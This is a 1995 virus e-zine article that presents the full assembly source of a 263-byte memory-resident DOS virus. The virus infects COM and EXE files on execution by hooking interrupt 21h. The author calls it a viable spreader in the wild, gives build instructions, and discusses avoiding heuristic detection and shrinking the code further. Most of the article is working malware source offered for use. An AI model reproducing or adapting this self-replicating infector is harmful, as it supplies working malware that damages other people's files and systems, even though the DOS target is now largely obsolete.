home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_2 < prev    next >
Encoding:
Text File  |  1995-02-06  |  10.2 KB  |  283 lines

  1.  
  2. The Smallest Virus I Could Manage
  3.  
  4. In Nuke InfoJournal #5 I foolishly boasted about a 387-byte TSR COM/EXE
  5. parasitic infector I'd written.. well the days of semi-lameness are gone
  6. (that was almost 2 years ago now) and I've come up with the goods.
  7.  
  8. This is the smallest virus I could figure out at this point in time.
  9. In all respects it's a fully viable spreader in the wild, although it
  10. does have serious 'security' problems - it doesn't trap i24 (critical
  11. error handler), clean registers before returning control to the host, or
  12. even use i21 functions by chaining on to the old vector (it calls i21
  13. with an INT instruction).  I have no pretences in that I fully don't
  14. expect to see this in the wild, since it was only written for
  15. investigative pleasure anyway, to see how small a virus could be
  16. written.
  17.  
  18. There was another version of this virus which I gave out to a few people
  19. on #virus, which had a slight bug (rather, hasty oversight) in it, where
  20. I changed a bit of code and didn't change a corresponding line a few
  21. lines later.. which results in the i21 vector being partially
  22. overwritten and thus the machine will crash (bad side effect!), which
  23. was 291 bytes.  The difference between this virus and the 'old' one is
  24. that this one doesn't change the target EXE file's stack, simply leaving
  25. it and negating the need to carry the extra 4 bytes around with the
  26. virus, as well as cutting code size.  Also, the 'old' one didn't trigger
  27. any heuristic flags whereas this one does.  (see below)
  28.  
  29. This virus is a memory-resident parasitic infector of COM and EXE files
  30. on execution, 263 bytes.  It doesn't reinfect memory OR files.
  31.  
  32. The older revision (sm2.asm, and the bug-fix, sm2b.asm) avoided all
  33. heuristic flags (except maybe suspicious stack); it inserted the delta
  34. offset straight into the first instruction of the virus, instead of
  35. doing the usual 'call $+3/pop si/sub si,3'.  However this just took up
  36. too much code and besides, it's going to get caught anyway, so why
  37. bother.  So in this version it was removed, but the lines are only
  38. commented out.  If, for some reason, you want to re-enable the old
  39. system, uncomment the appropriate lines and delete the lines with only a
  40. semicolon after them (ie not the ones with actual comments!).  Enabling
  41. this will bring the virus size up to all of 268 bytes.
  42.  
  43. In its current form I think it's as optimized as I can make it.  Apart
  44. from the odd 1-byte improvement, any difference would require a change
  45. in viral architecture.  Some hardcore processorhead would have to do it,
  46. perhaps they'd get a virus of 260 bytes.. but below that, I'm sure it'd
  47. have to be deficient or unreliable in some respect (as far as I can
  48. rationally extrapolate, judging how limited this virus is in avoiding
  49. detection).  I'm certainly not saying that a smaller virus cannot be
  50. written, however, because it's probably possible.  If I could see how,
  51. though, I'd do it! :)  Making this smaller would require the removal of
  52. 'safety' checks (eg bailing if the file can't be opened, bailing if the
  53. file is less than 24 bytes, etc).  However I consider these checks to be
  54. part of a viable virus, so I left them in.
  55.  
  56. There isn't a great deal of commenting on this virus.  A few of the
  57. techniques just aren't applicable to viruses of the normal kind, so
  58. there's no real point.  To gain anything much out of examining this
  59. source you more or less have to have a good idea of what's going on
  60. anyway.
  61.  
  62. Greets on this one go out to Dark Angel (you know why) :> ..
  63.  
  64.         - TäLöN  01/95
  65.  
  66.  
  67. ;---------------------------------------------------------------------------
  68. ;
  69. ; Smallest Virus I Could Manage - 263 bytes
  70. ;
  71. ; by TäLöN
  72. ;
  73. ; compile with a86, rename the .bin to a .com and it's ready to roll..
  74. ;
  75.  
  76. org 0
  77. @marker equ 19h
  78.  
  79. v_start:        ; mov si, 0100h
  80.                 call $+3        ;
  81.                 pop si          ;
  82.                 sub si, 3       ;
  83.  
  84.                 push ds
  85.                 xor ax, ax              ; this virus resides at the end
  86.                 mov es, ax              ; of the interrupt table & then some
  87.                 mov di, 200h
  88.                 push di
  89.                 cld
  90.                 scasw                   ; is the space clear?
  91.                 pop di
  92.                 jne v_exit
  93.  
  94.                 push si
  95.                 mov cx, v_len
  96.              db 02eh                    ; make CS source of movsb
  97.                 rep movsb               ; copy the virus to memory
  98.                 mov si, 21h*4           ; & save old i21 vector
  99.                 push si
  100.              db 26h                     ; make ES source of movsw
  101.                 movsw
  102.              db 26h
  103.                 movsw
  104.                 pop di
  105.                 mov ax, offset new21 + 200h
  106.                 stosw
  107.                 xchg ax, cx
  108.                 stosw                   ; capture int 21h
  109.                 pop si
  110. v_exit:         pop es
  111.                 add si, offset old_shit
  112.                 pop ax
  113.                 or sp, sp               ; COM or EXE determination
  114.                 push ax
  115.                 push cs
  116.                 pop ds
  117.                 jnz exit_exe
  118.  
  119. exit_com:       mov di, 100h            ; return to COM host
  120.                 push di
  121.                 movsw
  122.                 movsw
  123.                 ret
  124. exit_exe:       mov ax, es              ; return to EXE host
  125.                 add ax, 10h
  126.                 add word ptr [si+2], ax
  127.                 jmp dword ptr [si]
  128.  
  129. old_shit:       int 20h
  130.              dw 0
  131.  
  132. new21:          cmp ax, 4b00h           ; infect on execute
  133.                 je infect
  134.                 jmp exit21
  135.  
  136. infect:         push ax
  137.                 push bx
  138.                 push cx
  139.                 push dx
  140.                 push si
  141.                 push di
  142.                 push ds
  143.                 push es
  144.  
  145.                 mov ax, 3d02h           ; open the file
  146.                 int 21h
  147.                 jc bitch
  148.  
  149.                 push cs
  150.                 pop ds
  151.                 push cs
  152.                 pop es
  153.  
  154.                 xchg ax, bx
  155.                 mov ah, 3fh
  156.                 mov cx, 24
  157.                 mov dx, offset signature+200h
  158.                 int 21h                ; read header
  159.                 xor cx, ax
  160.                 jnz bitch1
  161.  
  162.                 mov si, dx
  163.                 push ax
  164.                 mov al, @marker
  165.                 cmp byte ptr [si+3], al ; is the infection marker present? 
  166.                                         ;(com)
  167.                 je bitch2
  168.                 cmp byte ptr [si+12h], al       ; (exe)
  169.                 je bitch2
  170.  
  171.                 mov ax, 4202h           ; seek to EOF  dx:ax -> file len
  172.                 cwd
  173.                 int 21h                 ; cx is already zero
  174.                 push ax
  175.  
  176.                 mov di, offset old_shit+200h
  177.                 cmp byte ptr [si], 'M'
  178.                 je infect_exe
  179. infect_com:     push si
  180.                 movsw                   ; save first 4 of COM
  181.                 movsw
  182.                 pop di
  183.                 mov al, 0e9
  184.                 stosb
  185.                 pop ax
  186. ;                inc ah
  187. ;                mov word ptr [v_start+201h], ax
  188. ;                sub ax, 103h
  189.                 dec ax          ;
  190.                 dec ax          ;
  191.                 dec ax          ;
  192.                 stosw
  193.                 mov byte ptr [di], @marker      ; mark infection
  194.  
  195. write_us:       mov ah, 40h
  196.                 mov cx, v_len
  197.                 mov dx, 200h
  198.                 int 21h
  199.  
  200. write_hdr:      mov ax, 4200h
  201.                 cwd
  202.                 xor cx, cx
  203.                 int 21h
  204.  
  205.                 pop cx
  206.                 mov ah, 40h
  207.                 mov dx, offset signature+200h
  208.                 int 21h
  209.  
  210.                 push ax                 ; ambiguous instruction
  211.  
  212. bitch2:         pop ax
  213. bitch1:         mov ah, 3eh
  214.                 int 21h
  215. bitch:          pop es
  216.                 pop ds
  217.                 pop di
  218.                 pop si
  219.                 pop dx
  220.                 pop cx
  221.                 pop bx
  222.                 pop ax
  223. exit21:         jmp dword ptr cs:[old21+200h]
  224.  
  225. infect_exe:     push dx
  226.                 push si
  227.                 mov si, offset [exe_ip+200h]
  228.                 movsw                   ; save IP, CS
  229.                 movsw
  230.                 add ax, v_len           ; calculate part_page, page_cnt
  231.                 adc dx, 0               ; of infected file
  232.                 mov cx, 200h
  233.                 div cx
  234.                 pop di
  235.                 scasw
  236.                 scasw
  237.                 std                     ; a novel approach..
  238.                 or dx, dx
  239.                 jz noinc
  240.                 inc ax
  241. noinc:          stosw                   ; store the new values..
  242.                 xchg ax, dx
  243.                 stosw
  244.  
  245.                 pop dx
  246.                 pop ax
  247.                 mov cx, 10h             ; calculate # of paragraphs
  248.                 div cx                  ; in the uninfected file
  249.                 sub ax, word ptr [hdr_size+200h]
  250.  
  251.                 mov di, offset relo_cs+200h
  252.                 stosw                   ; & set new IP, CS (entry pt)
  253.                 xchg ax, dx
  254.                 stosw
  255. ;                mov word ptr [v_start+201h], ax
  256.                 mov ax, @marker
  257.                 stosw
  258.                 jmp short write_us
  259.  
  260.  
  261. v_end:
  262. old21   equ     v_end + 0
  263. signature       equ old21 + 4           ; where we load the host files header
  264. part_page       equ signature + 2       ; part-page at EOF
  265. page_cnt        equ part_page + 2       ; count of code pages
  266. hdr_size        equ page_cnt + 4        ; size of header in paragraphs
  267. minmem          equ hdr_size + 2        ; minimum memory required
  268. maxmem          equ minmem + 2          ; maximum memory required
  269. relo_ss         equ maxmem + 2          ; displacement of stack segment (SS)
  270. exe_sp          equ relo_ss + 2         ; stack pointer (SP)
  271. chksum          equ exe_sp + 2          ; -> infection marker
  272. exe_ip          equ chksum + 2          ; instruction pointer (IP)
  273. relo_cs         equ exe_ip + 2          ; displacement of code segment (CS)
  274.                                         ; 24 bytes for EXE header information
  275.  
  276. v_len equ v_end - v_start
  277.  
  278. ;
  279. ;-------the-end-------------------------------------------------------------
  280.  
  281.  
  282.  
  283.